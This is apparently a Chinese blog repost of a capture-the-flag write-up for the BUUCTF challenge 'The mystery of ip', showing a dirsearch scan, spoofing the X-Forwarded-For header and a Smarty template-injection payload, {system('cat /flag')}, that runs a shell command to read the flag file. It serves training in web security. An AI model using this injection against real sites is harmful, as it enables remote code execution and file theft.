当前位置:网站首页>BUUCTF WEB [BJDCTF2020]The mystery of ip
BUUCTF WEB [BJDCTF2020]The mystery of ip
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]The mystery of ip
-
在hint.php中找到一句注释
<!-- Do you know why i know your ip? -->
-
在flag.php中看到自己的ip,联想到X-Forwarded-For。使用Hackbar添加一个HTTP头
X-Forwarded-For: 127.0.0.1
回显为
Your IP is : 127.0.0.1
说明我们获得了可控变量
-
尝试命令注入失败,到这里就没什么思路了,尝试dirsearch看能不能获得什么信息
# Dirsearch started Fri Apr 22 02:06:43 2022 as: dirsearch.py -u http://node4.buuoj.cn:28825/ 200 6KB http://node4.buuoj.cn:28825/.DS_Store 301 169B http://node4.buuoj.cn:28825/css -> REDIRECTS TO: http://node4.buuoj.cn/css/ 200 2KB http://node4.buuoj.cn:28825/flag.php 200 938B http://node4.buuoj.cn:28825/header.php 301 169B http://node4.buuoj.cn:28825/img -> REDIRECTS TO: http://node4.buuoj.cn/img/ 301 169B http://node4.buuoj.cn:28825/libs -> REDIRECTS TO: http://node4.buuoj.cn/libs/ 301 169B http://node4.buuoj.cn:28825/templates_c -> REDIRECTS TO: http://node4.buuoj.cn/templates_c/ 403 555B http://node4.buuoj.cn:28825/templates_c/
发现一个名为
/template_c/
的文件夹,怀疑存在模板注入 -
将X-Forwarded-For改为
X-Forwarded-For: {6*6}
回显为
Your IP is : 36
-
尝试直接读取flag文件
X-Forwarded-For: {system('cat /flag')}
回显
Your IP is : flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b} flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124344787
边栏推荐
- 31岁才转行程序员,目前34了,我来说说我的经历和一些感受吧...
- 万事有你 未来可期 | ONES 2022校园招聘正式开启
- 第二十四课 经典问题解析
- After a circle, I sorted out this set of interview questions..
- QT one process runs another
- SQL exercise (I)
- [redis series] redis learning 13. Redis often asks simple interview questions
- Introduction to metalama 4 Use fabric to manipulate items or namespaces
- NativeForMySQL 连接MySQL8 提示:1251- Client does not support authentication protocol
- AD20补充笔记3—快捷键+持续更新
猜你喜欢
After a circle, I sorted out this set of interview questions..
Basic software testing Day2 - Case Execution
QT one process runs another
[unity note] basic lighting in l4unity
Outsourcing for five years, abandoned
Next. JS static data generation and server-side rendering
万事有你 未来可期 | ONES 2022校园招聘正式开启
远程桌面之终端服务器超出了最大允许连接数解决
C set Logo Icon and shortcut icon
网站首页文件被攻击篡改的形式有哪些
随机推荐
Array---
编程辅助工具推荐:图片工具snipaste
Next.js 静态数据生成以及服务端渲染的方式
On lambda powertools typescript
uni-app 原生APP-云打包集成极光推送(JG-JPUSH)详细教程
5-minute NLP: text to text transfer transformer (T5) unified text to text task model
Zero trust in network information security
Intelligent multi line elastic cloud adds independent IP address. How to realize multi line function?
How to solve the computer system card?
万事有你 未来可期 | ONES 2022校园招聘正式开启
NativeForMySQL 连接MySQL8 提示:1251- Client does not support authentication protocol
Dialogue with Bruce, author of PostgreSQL: "changing careers" is to better move forward
31岁才转行程序员,目前34了,我来说说我的经历和一些感受吧...
[redis series] redis learning 13. Redis often asks simple interview questions
How much does software testing help reduce program bugs?
Flash project cross domain interception and DBM database learning [Baotou cultural and creative website development]
On using go language to create websocket service
SQL exercise (I)
Nativeformysql connects to MySQL 8 prompt: 1251 - client does not support authentication protocol
第二十五课 类的静态成员变量